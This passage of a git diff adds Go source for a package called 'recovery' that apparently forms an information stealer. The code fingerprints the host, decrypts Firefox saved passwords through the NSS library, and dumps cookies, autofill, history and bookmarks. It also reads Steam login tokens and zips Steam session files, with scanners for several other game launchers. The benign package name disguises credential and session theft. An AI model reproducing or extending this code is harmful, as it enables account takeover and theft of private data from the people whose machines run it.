strings.Index(rest, ":") + if colon < 0 { + return "" + } + rest = rest[colon+1:] + start := strings.Index(rest, `"`) + if start < 0 { + return "" + } + rest = rest[start+1:] + end := strings.Index(rest, `"`) + if end < 0 { + return "" + } + return rest[:end] +} + +// ── Fonts ───────────────────────────────────────────────────────── + +func fonts() []string { + k, err := registry.OpenKey(registry.LOCAL_MACHINE, + `SOFTWARE\Microsoft\Windows NT\CurrentVersion\Fonts`, + registry.ENUMERATE_SUB_KEYS|registry.QUERY_VALUE) + if err != nil { + return nil + } + defer k.Close() + + names, err := k.ReadValueNames(-1) + if err != nil { + return nil + } + + var out []string + seen := map[string]bool{} + for _, name := range names { + f := strings.TrimSpace(name) + f = strings.TrimSuffix(f, " (TrueType)") + f = strings.TrimSuffix(f, " (OpenType)") + f = strings.TrimSuffix(f, " (All res)") + if f == "" || seen[f] { + continue + } + seen[f] = true + out = append(out, f) + } + sort.Strings(out) + return out +} + +// ── GPU ─────────────────────────────────────────────────────────── + +func gpuName() string { + k, err := registry.OpenKey(registry.LOCAL_MACHINE, + `SYSTEM\CurrentControlSet\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}`, + registry.ENUMERATE_SUB_KEYS|registry.QUERY_VALUE) + if err != nil { + return "" + } + defer k.Close() + + subs, _ := k.ReadSubKeyNames(-1) + for _, sub := range subs { + if !strings.HasPrefix(sub, "0") { + continue + } + sk, err := registry.OpenKey(k, sub, registry.QUERY_VALUE) + if err != nil { + continue + } + desc, _, _ := sk.GetStringValue("DriverDesc") + sk.Close() + desc = strings.TrimSpace(desc) + if desc == "" || strings.Contains(desc, "Microsoft Basic Display") || + strings.Contains(desc, "Microsoft Remote Display") { + continue + } + return desc + } + return "" +} + +// ── Installed browsers ──────────────────────────────────────────── + +var browserUpdateGUIDs = []struct { + name string + guid string +}{ + {"Chrome", `{8A69D345-D564-463c-AFF1-A69D9E530F96}`}, + {"Edge", `{56EB18F8-B008-4CBD-B6D2-8C97FE7E9062}`}, + {"Brave", `{AFE6A462-C574-4B8A-AF43-4CC60DF4563B}`}, +} + +func installedBrowsers() []Browser { + var out []Browser + for _, b := range browserUpdateGUIDs { + ver := browserVersion(b.guid) + if ver == "" { + continue + } + out = append(out, Browser{Name: b.name, Version: ver, Path: browserExePath(b.name)}) + } + return out +} + +func browserVersion(guid string) string { + for _, root := range []string{`SOFTWARE\Google\Update\Clients\`, `SOFTWARE\WOW6432Node\Google\Update\Clients\`} { + k, err := registry.OpenKey(registry.LOCAL_MACHINE, root+guid, registry.QUERY_VALUE) + if err != nil { + continue + } + pv, _, err := k.GetStringValue("pv") + k.Close() + if err == nil && pv != "" { + return pv + } + } + return "" +} + +func browserExePath(name string) string { + var paths []string + pf := os.Getenv("ProgramFiles") + pf86 := os.Getenv("ProgramFiles(x86)") + switch name { + case "Chrome": + paths = []string{ + filepath.Join(pf, `Google\Chrome\Application\chrome.exe`), + filepath.Join(pf86, `Google\Chrome\Application\chrome.exe`), + } + case "Edge": + paths = []string{ + filepath.Join(pf, `Microsoft\Edge\Application\msedge.exe`), + filepath.Join(pf86, `Microsoft\Edge\Application\msedge.exe`), + } + case "Brave": + paths = []string{ + filepath.Join(pf, `BraveSoftware\Brave-Browser\Application\brave.exe`), + filepath.Join(pf86, `BraveSoftware\Brave-Browser\Application\brave.exe`), + } + } + for _, p := range paths { + if _, err := os.Stat(p); err == nil { + return p + } + } + return "" +} + +// ── User agent ──────────────────────────────────────────────────── + +func userAgent(browsers []Browser) string { + order := []string{"Chrome", "Edge", "Brave"} + version := "" + for _, want := range order { + for _, b := range browsers { + if b.Name == want && b.Version != "" { + version = b.Version + break + } + } + if version != "" { + break + } + } + if version == "" { + return "" + } + return fmt.Sprintf("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/%s Safari/537.36", version) +} + +// ── Local IPs ───────────────────────────────────────────────────── + +func localIPs() []string { + ifaces, err := net.Interfaces() + if err != nil { + return nil + } + var ips []string + for _, iface := range ifaces { + addrs, err := iface.Addrs() + if err != nil { + continue + } + for _, addr := range addrs { + ip, _, err := net.ParseCIDR(addr.String()) + if err != nil { + continue + } + if v4 := ip.To4(); v4 != nil && !v4.IsLoopback() { + s := v4.String() + if !containsStr(ips, s) { + ips = append(ips, s) + } + } + } + } + return ips +} + +func containsStr(s []string, v string) bool { + for _, x := range s { + if x == v { + return true + } + } + return false +} diff --git a/native/recovery/fingerprint/js.go b/native/recovery/fingerprint/js.go new file mode 100644 index 0000000..e264cc6 --- /dev/null +++ b/native/recovery/fingerprint/js.go @@ -0,0 +1,11 @@ +package fingerprint + +type JSResult struct { + Canvas string `json:"canvas,omitempty"` + WebGLRenderer string `json:"webglRenderer,omitempty"` + WebGLVendor string `json:"webglVendor,omitempty"` + WebGLVersion string `json:"webglVersion,omitempty"` + WebGLParams map[string]interface{} `json:"webglParams,omitempty"` + WebGLExtensions []string `json:"webglExtensions,omitempty"` + Audio float64 `json:"audio,omitempty"` +} diff --git a/native/recovery/fingerprint/log.go b/native/recovery/fingerprint/log.go new file mode 100644 index 0000000..9024d27 --- /dev/null +++ b/native/recovery/fingerprint/log.go @@ -0,0 +1,7 @@ +package fingerprint + +import "log" + +func logf(format string, args ...interface{}) { + log.Printf("[fingerprint] "+format, args...) +} diff --git a/native/recovery/fingerprint/types.go b/native/recovery/fingerprint/types.go new file mode 100644 index 0000000..16e566c --- /dev/null +++ b/native/recovery/fingerprint/types.go @@ -0,0 +1,32 @@ +package fingerprint + +// Browser is an installed browser and its version. +type Browser struct { + Name string `json:"name"` + Version string `json:"version"` + Path string `json:"path,omitempty"` +} + +// Result is the collected native fingerprint. +type Result struct { + UserAgent string `json:"userAgent"` + Platform string `json:"platform"` + OS string `json:"os"` + OSArch string `json:"osArch"` + Languages []string `json:"languages"` + HardwareConcurrency int `json:"hardwareConcurrency"` + DeviceMemory int `json:"deviceMemory"` + MaxTouchPoints int `json:"maxTouchPoints"` + ScreenWidth int `json:"screenWidth"` + ScreenHeight int `json:"screenHeight"` + AvailWidth int `json:"availWidth"` + AvailHeight int `json:"availHeight"` + ColorDepth int `json:"colorDepth"` + DevicePixelRatio float64 `json:"devicePixelRatio"` + Timezone string `json:"timezone"` + TimezoneOffset int `json:"timezoneOffset"` + Fonts []string `json:"fonts"` + GPU string `json:"gpu"` + Browsers []Browser `json:"browsers"` + LocalIPs []string `json:"localIps"` +} diff --git a/native/recovery/firefox/firefox.go b/native/recovery/firefox/firefox.go new file mode 100644 index 0000000..2e362ed --- /dev/null +++ b/native/recovery/firefox/firefox.go @@ -0,0 +1,236 @@ +package firefox + +import ( + "database/sql" + "encoding/json" + "fmt" + "os" + "path/filepath" + "sync" + + "recovery/recovery/chromium" + "recovery/recovery/db" + "recovery/recovery/types" +) + +type firefoxLoginFile struct { + Logins []firefoxLogin `json:"logins"` +} + +type firefoxLogin struct { + Hostname string `json:"hostname"` + EncryptedUsername string `json:"encryptedUsername"` + EncryptedPassword string `json:"encryptedPassword"` +} + +var nssmu sync.Mutex + +func ExtractPasswords(profile types.ProfileInfo, cfg types.BrowserConfig, pids []uint32) []types.PasswordResult { + loginsPath := filepath.Join(profile.Path, "logins.json") + data, err := os.ReadFile(loginsPath) + if err != nil { + return nil + } + + var logins firefoxLoginFile + if err := json.Unmarshal(data, &logins); err != nil { + return nil + } + if len(logins.Logins) == 0 { + return nil + } + + nssmu.Lock() + defer nssmu.Unlock() + + results := nssDecryptLogins(profile.Path, cfg.Name, logins.Logins) + var out []types.PasswordResult + for _, r := range results { + if r.URL != "" && (r.Username != "" || r.Password != "") { + r.Browser = cfg.Name + r.Profile = profile.Name + out = append(out, r) + } + } + return out +} + +func ExtractAutofill(profile types.ProfileInfo, cfg types.BrowserConfig, pids []uint32) []types.AutofillResult { + dbPath := filepath.Join(profile.Path, "formhistory.sqlite") + if _, err := os.Stat(dbPath); err != nil { + return nil + } + + d, err := db.OpenDatabase(dbPath, pids) + if err != nil { + return nil + } + defer d.Close() + + rows, err := d.Query("SELECT fieldname, value, timesUsed, firstUsed FROM moz_formhistory") + if err != nil { + rows2, err2 := d.Query("SELECT fieldname, value FROM moz_formhistory") + if err2 != nil { + return nil + } + defer rows2.Close() + var results []types.AutofillResult + for rows2.Next() { + var name, value sql.NullString + rows2.Scan(&name, &value) + if name.String != "" { + results = append(results, types.AutofillResult{ + Name: name.String, + Value: value.String, + Browser: cfg.Name, + Profile: profile.Name, + }) + } + } + return results + } + defer rows.Close() + + var results []types.AutofillResult + for rows.Next() { + var name, value sql.NullString + var timesUsed, firstUsed sql.NullInt64 + rows.Scan(&name, &value, ×Used, &firstUsed) + + var dateCreated int64 + if firstUsed.Int64 > 0 { + dateCreated = firstUsed.Int64 / 1000000 + } + + if name.String != "" { + results = append(results, types.AutofillResult{ + Name: name.String, + Value: value.String, + DateCreated: dateCreated, + Browser: cfg.Name, + Profile: profile.Name, + }) + } + } + return results +} + +func ExtractCookies(profile types.ProfileInfo, cfg types.BrowserConfig) []types.CookieResult { + dbPath := filepath.Join(profile.Path, "cookies.sqlite") + if _, err := os.Stat(dbPath); err != nil { + return nil + } + + d, err := db.OpenDatabase(dbPath, nil) + if err != nil { + return nil + } + defer d.Close() + + rows, err := d.Query("SELECT host, name, value, path, isSecure, isHttpOnly, expiry FROM moz_cookies") + if err != nil { + return nil + } + defer rows.Close() + + var results []types.CookieResult + for rows.Next() { + var host, name, value, path sql.NullString + var secure, httpOnly, expiry sql.NullInt64 + rows.Scan(&host, &name, &value, &path, &secure, &httpOnly, &expiry) + results = append(results, types.CookieResult{ + Host: host.String, + Name: name.String, + Value: value.String, + Path: path.String, + Secure: secure.Int64 != 0, + HTTPOnly: httpOnly.Int64 != 0, + ExpiresUTC: expiry.Int64, + Browser: cfg.Name, + Profile: profile.Name, + }) + } + return results +} + +func ExtractHistory(profile types.ProfileInfo, cfg types.BrowserConfig) []types.HistoryResult { + dbPath := filepath.Join(profile.Path, "places.sqlite") + if _, err := os.Stat(dbPath); err != nil { + return nil + } + d, err := db.OpenDatabase(dbPath, nil) + if err != nil { + return nil + } + defer d.Close() + + q := fmt.Sprintf( + `SELECT p.url, p.title, h.visit_date FROM moz_historyvisits h + JOIN moz_places p ON p.id = h.place_id + ORDER BY h.visit_date DESC LIMIT %d`, + chromium.HistoryLimit, + ) + rows, err := d.Query(q) + if err != nil { + return nil + } + defer rows.Close() + + var results []types.HistoryResult + for rows.Next() { + var url, title sql.NullString + var visitDate sql.NullInt64 + rows.Scan(&url, &title, &visitDate) + + var visitTimeUnix int64 + if visitDate.Int64 > 0 { + visitTimeUnix = visitDate.Int64 / 1000000 + } + if url.String != "" { + results = append(results, types.HistoryResult{ + URL: url.String, + Title: title.String, + VisitTimeUnix: visitTimeUnix, + Browser: cfg.Name, + Profile: profile.Name, + }) + } + } + return results +} + +func ExtractBookmarks(profile types.ProfileInfo, cfg types.BrowserConfig) []types.BookmarkResult { + dbPath := filepath.Join(profile.Path, "places.sqlite") + if _, err := os.Stat(dbPath); err != nil { + return nil + } + d, err := db.OpenDatabase(dbPath, nil) + if err != nil { + return nil + } + defer d.Close() + + rows, err := d.Query(`SELECT b.title, p.url FROM moz_bookmarks b + JOIN moz_places p ON p.id = b.fk + WHERE b.type = 1 AND p.url != '' ORDER BY b.dateAdded DESC`) + if err != nil { + return nil + } + defer rows.Close() + + var results []types.BookmarkResult + for rows.Next() { + var title, url sql.NullString + rows.Scan(&title, &url) + if url.String != "" { + results = append(results, types.BookmarkResult{ + Name: title.String, + URL: url.String, + Type: "url", + Browser: cfg.Name, + Profile: profile.Name, + }) + } + } + return results +} diff --git a/native/recovery/firefox/log.go b/native/recovery/firefox/log.go new file mode 100644 index 0000000..d58d9ff --- /dev/null +++ b/native/recovery/firefox/log.go @@ -0,0 +1,7 @@ +package firefox + +import "log" + +func logf(format string, args ...interface{}) { + log.Printf("[firefox] "+format, args...) +} diff --git a/native/recovery/firefox/nss_unix.go b/native/recovery/firefox/nss_unix.go new file mode 100644 index 0000000..0a30554 --- /dev/null +++ b/native/recovery/firefox/nss_unix.go @@ -0,0 +1,163 @@ +//go:build !windows + +package firefox + +/* +#cgo LDFLAGS: -ldl +#include +#include +#include + +typedef struct { + unsigned int type; + unsigned char *data; + unsigned int len; +} SECItem; + +typedef int (*NSS_Init_Fn)(const char*); +typedef int (*NSS_Shutdown_Fn)(void); +typedef int (*PK11SDR_Decrypt_Fn)(SECItem*, SECItem*, void*); +typedef void (*PORT_Free_Fn)(void*); + +static void* load_nss(const char* path) { + return dlopen(path, RTLD_LAZY | RTLD_GLOBAL); +} + +static void close_nss(void* handle) { + if (handle) dlclose(handle); +} + +static int call_nss_init(void* handle, const char* profile) { + NSS_Init_Fn fn = (NSS_Init_Fn)dlsym(handle, "NSS_Init"); + if (!fn) return -1; + return fn(profile); +} + +static int call_nss_shutdown(void* handle) { + NSS_Shutdown_Fn fn = (NSS_Shutdown_Fn)dlsym(handle, "NSS_Shutdown"); + if (!fn) return -1; + return fn(); +} + +static int call_pk11sdr_decrypt(void* handle, SECItem* enc, SECItem* dec) { + PK11SDR_Decrypt_Fn fn = (PK11SDR_Decrypt_Fn)dlsym(handle, "PK11SDR_Decrypt"); + if (!fn) return -1; + return fn(enc, dec, NULL); +} + +static void call_port_free(void* handle, void* ptr) { + PORT_Free_Fn fn = (PORT_Free_Fn)dlsym(handle, "PORT_Free"); + if (fn) fn(ptr); +} +*/ +import "C" + +import ( + "encoding/base64" + "os" + "runtime" + "strings" + "unsafe" + + "recovery/recovery/types" +) + +var nssLibPaths = []string{ + // Linux paths + "/usr/lib/x86_64-linux-gnu/libnss3.so", + "/usr/lib64/libnss3.so", + "/usr/lib/libnss3.so", + "/usr/lib/firefox/libnss3.so", + "/usr/lib64/firefox/libnss3.so", + "/opt/firefox/libnss3.so", + "/opt/librewolf/libnss3.so", + "/snap/firefox/current/usr/lib/firefox/libnss3.so", + // macOS paths + "/Applications/Firefox.app/Contents/MacOS/libnss3.dylib", + "/Applications/LibreWolf.app/Contents/MacOS/libnss3.dylib", + "/Applications/Waterfox.app/Contents/MacOS/libnss3.dylib", + "/opt/homebrew/lib/libnss3.dylib", + "/usr/local/lib/libnss3.dylib", +} + +func findNSSLib() string { + suffix := ".so" + if runtime.GOOS == "darwin" { + suffix = ".dylib" + } + for _, p := range nssLibPaths { + if strings.HasSuffix(p, suffix) { + if _, err := os.Stat(p); err == nil { + return p + } + } + } + name := "libnss3.so" + if runtime.GOOS == "darwin" { + name = "libnss3.dylib" + } + return name +} + +func nssDecryptLogins(profilePath, browserName string, logins []firefoxLogin) []types.PasswordResult { + libPath := findNSSLib() + cLibPath := C.CString(libPath) + defer C.free(unsafe.Pointer(cLibPath)) + + handle := C.load_nss(cLibPath) + if handle == nil { + logf("firefox NSS: failed to load %s", libPath) + return nil + } + defer C.close_nss(handle) + + cProfile := C.CString(profilePath) + defer C.free(unsafe.Pointer(cProfile)) + + ret := C.call_nss_init(handle, cProfile) + if ret != 0 { + logf("firefox NSS: NSS_Init failed for %s", profilePath) + return nil + } + defer C.call_nss_shutdown(handle) + + var results []types.PasswordResult + for _, login := range logins { + username := nssDecryptUnix(handle, login.EncryptedUsername) + password := nssDecryptUnix(handle, login.EncryptedPassword) + results = append(results, types.PasswordResult{ + URL: login.Hostname, + Username: username, + Password: password, + }) + } + + return results +} + +func nssDecryptUnix(handle unsafe.Pointer, b64 string) string { + b64 = strings.TrimSpace(b64) + if b64 == "" { + return "" + } + + encBytes, err := base64.StdEncoding.DecodeString(b64) + if err != nil || len(encBytes) == 0 { + return "" + } + + var encItem C.SECItem + encItem.data = (*C.uchar)(unsafe.Pointer(&encBytes[0])) + encItem.len = C.uint(len(encBytes)) + + var decItem C.SECItem + ret := C.call_pk11sdr_decrypt(handle, &encItem, &decItem) + if ret != 0 || decItem.data == nil || decItem.len == 0 { + return "" + } + + result := C.GoStringN((*C.char)(unsafe.Pointer(decItem.data)), C.int(decItem.len)) + C.call_port_free(handle, unsafe.Pointer(decItem.data)) + + return result +} diff --git a/native/recovery/firefox/nss_windows.go b/native/recovery/firefox/nss_windows.go new file mode 100644 index 0000000..a46179f --- /dev/null +++ b/native/recovery/firefox/nss_windows.go @@ -0,0 +1,138 @@ +//go:build windows + +package firefox + +import ( + "encoding/base64" + "os" + "path/filepath" + "strings" + "syscall" + "unsafe" + + "recovery/recovery/types" +) + +type secItem struct { + ItemType uint32 + Data *byte + Len uint32 +} + +var nssInstallDirs = map[string][]string{ + "Firefox": {`C:\Program Files\Mozilla Firefox`, `C:\Program Files (x86)\Mozilla Firefox`}, + "LibreWolf": {`C:\Program Files\LibreWolf`, `C:\Program Files (x86)\LibreWolf`}, + "Waterfox": {`C:\Program Files\Waterfox`, `C:\Program Files (x86)\Waterfox`}, +} + +func findNSSDir(browserName string) string { + dirs := nssInstallDirs[browserName] + if dirs == nil { + dirs = nssInstallDirs["Firefox"] + } + for _, dir := range dirs { + if _, err := os.Stat(filepath.Join(dir, "nss3.dll")); err == nil { + return dir + } + } + for _, dirs := range nssInstallDirs { + for _, dir := range dirs { + if _, err := os.Stat(filepath.Join(dir, "nss3.dll")); err == nil { + return dir + } + } + } + return "" +} + +func nssDecryptLogins(profilePath, browserName string, logins []firefoxLogin) []types.PasswordResult { + nssDir := findNSSDir(browserName) + if nssDir == "" { + logf("firefox NSS: nss3.dll not found for %s", browserName) + return nil + } + + oldPath := os.Getenv("PATH") + os.Setenv("PATH", nssDir+";"+oldPath) + defer os.Setenv("PATH", oldPath) + + nss3dll, err := syscall.LoadDLL(filepath.Join(nssDir, "nss3.dll")) + if err != nil { + logf("firefox NSS: failed to load nss3.dll: %v", err) + return nil + } + defer nss3dll.Release() + + nssInit, err := nss3dll.FindProc("NSS_Init") + if err != nil { + return nil + } + pk11SDRDecrypt, err := nss3dll.FindProc("PK11SDR_Decrypt") + if err != nil { + return nil + } + nssShutdown, _ := nss3dll.FindProc("NSS_Shutdown") + portFree, _ := nss3dll.FindProc("PORT_Free") + + profileBytes, err := syscall.BytePtrFromString(profilePath) + if err != nil { + return nil + } + + ret, _, callErr := nssInit.Call(uintptr(unsafe.Pointer(profileBytes))) + if ret != 0 { + logf("firefox NSS: NSS_Init failed for %s: %v", profilePath, callErr) + return nil + } + defer func() { + if nssShutdown != nil { + nssShutdown.Call() + } + }() + + var results []types.PasswordResult + for _, login := range logins { + username := nssDecrypt(pk11SDRDecrypt, portFree, login.EncryptedUsername) + password := nssDecrypt(pk11SDRDecrypt, portFree, login.EncryptedPassword) + results = append(results, types.PasswordResult{ + URL: login.Hostname, + Username: username, + Password: password, + }) + } + + return results +} + +func nssDecrypt(pk11SDRDecrypt, portFree *syscall.Proc, b64 string) string { + b64 = strings.TrimSpace(b64) + if b64 == "" { + return "" + } + + encBytes, err := base64.StdEncoding.DecodeString(b64) + if err != nil || len(encBytes) == 0 { + return "" + } + + encItem := secItem{Data: &encBytes[0], Len: uint32(len(encBytes))} + var decItem secItem + + ret, _, _ := pk11SDRDecrypt.Call( + uintptr(unsafe.Pointer(&encItem)), + uintptr(unsafe.Pointer(&decItem)), + 0, + ) + if ret != 0 || decItem.Data == nil || decItem.Len == 0 || decItem.Len > 1*1024*1024 { + return "" + } + + decBytes := unsafe.Slice(decItem.Data, decItem.Len) + result := string(decBytes) + + if portFree != nil { + portFree.Call(uintptr(unsafe.Pointer(decItem.Data))) + } + + return result +} diff --git a/native/recovery/gaming_stub.go b/native/recovery/gaming_stub.go new file mode 100644 index 0000000..1c4ef37 --- /dev/null +++ b/native/recovery/gaming_stub.go @@ -0,0 +1,228 @@ +//go:build !windows + +package recovery + +import ( + "os" + "path/filepath" + "runtime" + "strings" + + "recovery/recovery/types" + "recovery/recovery/ziputil" +) + +func pathExists(path string) bool { + _, err := os.Stat(path) + return err == nil +} + +func ScanGaming() *types.GamingResult { + result := &types.GamingResult{ + Steam: scanSteamUnix(), + } + if result.Steam == nil { + return nil + } + return result +} + +func steamBasePaths() []string { + home, _ := os.UserHomeDir() + if runtime.GOOS == "darwin" { + return []string{ + filepath.Join(home, "Library", "Application Support", "Steam"), + } + } + return []string{ + filepath.Join(home, ".steam", "steam"), + filepath.Join(home, ".local", "share", "Steam"), + filepath.Join(home, ".steam", "debian-installation"), + } +} + +func scanSteamUnix() *types.SteamResult { + var steamPath string + for _, p := range steamBasePaths() { + if pathExists(p) { + steamPath = p + break + } + } + if steamPath == "" { + return nil + } + + result := &types.SteamResult{SteamPath: steamPath} + + configPath := filepath.Join(steamPath, "config", "loginusers.vdf") + if data, err := os.ReadFile(configPath); err == nil { + for _, line := range strings.Split(string(data), "\n") { + line = strings.TrimSpace(line) + if strings.HasPrefix(line, `"AccountName"`) || strings.HasPrefix(line, `"accountname"`) { + val := vdfValueUnix(line) + if val != "" { + result.Account = val + result.AutoLogin = val + } + } + if strings.HasPrefix(line, `"RememberPassword"`) { + result.RememberPW = vdfValueUnix(line) == "1" + } + } + } + + if entries, err := os.ReadDir(steamPath); err == nil { + for _, e := range entries { + if !e.IsDir() && strings.Contains(e.Name(), "ssfn") { + result.SSFNFiles = append(result.SSFNFiles, e.Name()) + } + } + } + + seenGames := make(map[string]bool) + scanSteamLibraryUnix(steamPath, result, seenGames) + + if result.Account == "" && len(result.Games) == 0 && len(result.SSFNFiles) == 0 { + return nil + } + return result +} + +func scanSteamLibraryUnix(steamPath string, result *types.SteamResult, seenGames map[string]bool) { + libraryFolders := []string{steamPath} + + steamappsRoot := filepath.Join(steamPath, "steamapps") + vdfPath := filepath.Join(steamappsRoot, "libraryfolders.vdf") + if data, err := os.ReadFile(vdfPath); err == nil { + for _, line := range strings.Split(string(data), "\n") { + line = strings.TrimSpace(line) + if strings.HasPrefix(strings.ToLower(line), `"path"`) { + val := vdfValueUnix(line) + if val != "" && pathExists(val) && val != steamPath { + libraryFolders = append(libraryFolders, val) + } + } + } + } + + for _, lib := range libraryFolders { + libApps := filepath.Join(lib, "steamapps") + if !pathExists(libApps) { + continue + } + entries, _ := os.ReadDir(libApps) + for _, e := range entries { + if e.IsDir() || !strings.HasPrefix(e.Name(), "appmanifest_") || !strings.HasSuffix(e.Name(), ".acf") { + continue + } + acfData, err := os.ReadFile(filepath.Join(libApps, e.Name())) + if err != nil || len(acfData) == 0 { + continue + } + acf := parseACFUnix(string(acfData)) + if acf["appid"] == "" || acf["name"] == "" { + continue + } + if !seenGames[acf["appid"]] { + seenGames[acf["appid"]] = true + result.Games = append(result.Games, types.GameInfo{ + ID: acf["appid"], + Name: acf["name"], + Installed: acf["StateFlags"] != "4", + }) + } + } + } +} + +func parseACFUnix(data string) map[string]string { + result := map[string]string{} + var inBlock bool + for _, line := range strings.Split(data, "\n") { + line = strings.TrimLeft(line, "\t ") + if line == "{" { + inBlock = true + continue + } + if line == "}" { + break + } + if !inBlock || line == "" { + continue + } + if strings.HasPrefix(line, `"`) { + key := vdfNthQuotedUnix(line, 0) + val := vdfNthQuotedUnix(line, 1) + if key != "" { + result[key] = val + } + } + } + return result +} + +func vdfValueUnix(line string) string { + return vdfNthQuotedUnix(line, 1) +} + +func vdfNthQuotedUnix(line string, n int) string { + count := 0 + i := 0 + for count <= n && i < len(line) { + start := strings.Index(line[i:], `"`) + if start == -1 { + return "" + } + start += i + 1 + end := strings.Index(line[start:], `"`) + if end == -1 { + if count == n { + return line[start:] + } + return "" + } + if count == n { + return line[start : start+end] + } + i = start + end + 1 + count++ + } + return "" +} + +const maxZipFile = 50 * 1024 * 1024 + +func ZipSteamSession(steamPath string) ([]byte, error) { + if steamPath == "" || !pathExists(steamPath) { + return nil, os.ErrNotExist + } + + var files []string + entries, _ := os.ReadDir(steamPath) + for _, e := range entries { + if !e.IsDir() && strings.Contains(e.Name(), "ssfn") { + if info, _ := e.Info(); info != nil && info.Size() < maxZipFile { + files = append(files, filepath.Join(steamPath, e.Name())) + } + } + } + + configDir := filepath.Join(steamPath, "config") + for _, name := range []string{"loginusers.vdf", "config.vdf", "DialogConfig.vdf"} { + p := filepath.Join(configDir, name) + if pathExists(p) { + files = append(files, p) + } + } + + if len(files) == 0 { + return nil, os.ErrNotExist + } + return ziputil.ZipFiles(files, filepath.Dir(steamPath)) +} + +func ZipBattleNet() ([]byte, error) { return nil, os.ErrNotExist } +func ZipEpic() ([]byte, error) { return nil, os.ErrNotExist } +func ZipRiot() ([]byte, error) { return nil, os.ErrNotExist } +func ZipUplay() ([]byte, error) { return nil, os.ErrNotExist } diff --git a/native/recovery/gaming_windows.go b/native/recovery/gaming_windows.go new file mode 100644 index 0000000..9548936 --- /dev/null +++ b/native/recovery/gaming_windows.go @@ -0,0 +1,575 @@ +//go:build windows + +package recovery + +import ( + "encoding/hex" + "os" + "path/filepath" + "strings" + "unsafe" + + "golang.org/x/sys/windows" + "golang.org/x/sys/windows/registry" + + "recovery/recovery/types" + "recovery/recovery/ziputil" +) + +func normLines(data string) []string { + return strings.Split(strings.ReplaceAll(data, "\r\n", "\n"), "\n") +} + +func ScanGaming() *types.GamingResult { + result := &types.GamingResult{ + Steam: ScanSteam(), + BattleNet: ScanBattleNet(), + Epic: ScanEpic(), + Riot: ScanRiot(), + Uplay: ScanUplay(), + } + if result.Steam == nil && len(result.BattleNet) == 0 && len(result.Epic) == 0 && len(result.Riot) == 0 && len(result.Uplay) == 0 { + return nil + } + return result +} + +func ScanSteam() *types.SteamResult { + result := &types.SteamResult{} + + k, err := registry.OpenKey(registry.CURRENT_USER, `Software\Valve\Steam`, registry.READ) + if err != nil { + logf("[gaming] Steam registry key not found: %v", err) + return nil + } + defer k.Close() + + result.AutoLogin, _, _ = k.GetStringValue("AutoLoginUser") + remPw, _, _ := k.GetIntegerValue("RememberPassword") + result.RememberPW = remPw != 0 + + steamPath, _, _ := k.GetStringValue("SteamPath") + logf("[gaming] Steam registry SteamPath=%q exists=%v", steamPath, pathExists(steamPath)) + if steamPath == "" || !pathExists(steamPath) { + return nil + } + steamPath = filepath.FromSlash(steamPath) + result.SteamPath = steamPath + + if result.AutoLogin != "" { + result.Account = result.AutoLogin + } + + seenGames := make(map[string]bool) + scanSteamLibrary(steamPath, result, seenGames) + logf("[gaming] Steam library scan found %d games from manifests", len(result.Games)) + + appsKey, err := registry.OpenKey(registry.CURRENT_USER, `Software\Valve\Steam\Apps`, registry.READ) + if err != nil { + logf("[gaming] Steam Apps registry key not found: %v", err) + } else { + defer appsKey.Close() + names, _ := appsKey.ReadSubKeyNames(0) + logf("[gaming] Steam Apps registry has %d sub-keys", len(names)) + for _, name := range names { + if seenGames[name] { + continue + } + subKey, err := registry.OpenKey(appsKey, name, registry.READ) + if err != nil { + continue + } + gameName, _, _ := subKey.GetStringValue("Name") + installed, _, _ := subKey.GetIntegerValue("Installed") + running, _, _ := subKey.GetIntegerValue("Running") + subKey.Close() + if gameName != "" { + seenGames[name] = true + result.Games = append(result.Games, types.GameInfo{ + ID: name, + Name: gameName, + Installed: installed == 1, + Running: running == 1, + }) + } + } + } + + if entries, err := os.ReadDir(steamPath); err == nil { + for _, e := range entries { + if !e.IsDir() && strings.Contains(e.Name(), "ssfn") { + result.SSFNFiles = append(result.SSFNFiles, e.Name()) + } + } + } + + localVdfPath := filepath.Join(os.Getenv("LOCALAPPDATA"), "Steam", "local.vdf") + logf("[gaming] Steam local.vdf=%q exists=%v", localVdfPath, pathExists(localVdfPath)) + if pathExists(localVdfPath) { + tokens := extractSteamTokens(steamPath, localVdfPath) + if len(tokens) > 0 { + result.Token = strings.Join(tokens, "\n") + for _, tok := range tokens { + if dot := strings.Index(tok, "."); dot > 0 { + result.Account = tok[:dot] + break + } + } + } + } + + if result.Account == "" { + configPath := filepath.Join(steamPath, "config", "configstore", "steam-users.xml") + if configBytes, err := os.ReadFile(configPath); err == nil { + content := string(configBytes) + if idx := strings.Index(content, `"PersonaName"`); idx > 0 { + start := strings.Index(content[idx:], `"`) + end := strings.Index(content[idx+start+1:], `"`) + if start > 0 && end > 0 { + result.Account = content[idx+start+1 : idx+start+1+end] + } + } + } + } + + return result +} + +func scanSteamLibrary(steamPath string, result *types.SteamResult, seenGames map[string]bool) { + libraryFolders := []string{steamPath} + + steamappsRoot := filepath.Join(steamPath, "steamapps") + logf("[gaming] Steam steamapps root=%q exists=%v", steamappsRoot, pathExists(steamappsRoot)) + vdfPath := filepath.Join(steamappsRoot, "libraryfolders.vdf") + logf("[gaming] Steam libraryfolders.vdf=%q exists=%v", vdfPath, pathExists(vdfPath)) + if data, err := os.ReadFile(vdfPath); err == nil { + for _, line := range normLines(string(data)) { + line = strings.TrimSpace(line) + if strings.HasPrefix(strings.ToLower(line), `"path"`) { + val := vdfValue(line) + if val != "" { + libraryPath := filepath.FromSlash(val) + libraryPath = strings.TrimSuffix(libraryPath, string(os.PathSeparator)) + if pathExists(libraryPath) && !strings.EqualFold(libraryPath, steamPath) { + libraryFolders = append(libraryFolders, libraryPath) + } + } + } + } + } + + logf("[gaming] Steam library folders to scan: %v", libraryFolders) + for _, lib := range libraryFolders { + libApps := filepath.Join(lib, "steamapps") + logf("[gaming] Steam checking steamapps=%q exists=%v", libApps, pathExists(libApps)) + if !pathExists(libApps) { + continue + } + + entries, _ := os.ReadDir(libApps) + logf("[gaming] Steam steamapps dir has %d entries", len(entries)) + for _, e := range entries { + if e.IsDir() || !strings.HasPrefix(e.Name(), "appmanifest_") || !strings.HasSuffix(e.Name(), ".acf") { + continue + } + acfData, err := os.ReadFile(filepath.Join(libApps, e.Name())) + if err != nil || len(acfData) == 0 { + continue + } + acf := parseACF(string(acfData)) + if acf["appid"] == "" || acf["name"] == "" { + continue + } + installed := acf["StateFlags"] != "4" + if !seenGames[acf["appid"]] { + seenGames[acf["appid"]] = true + result.Games 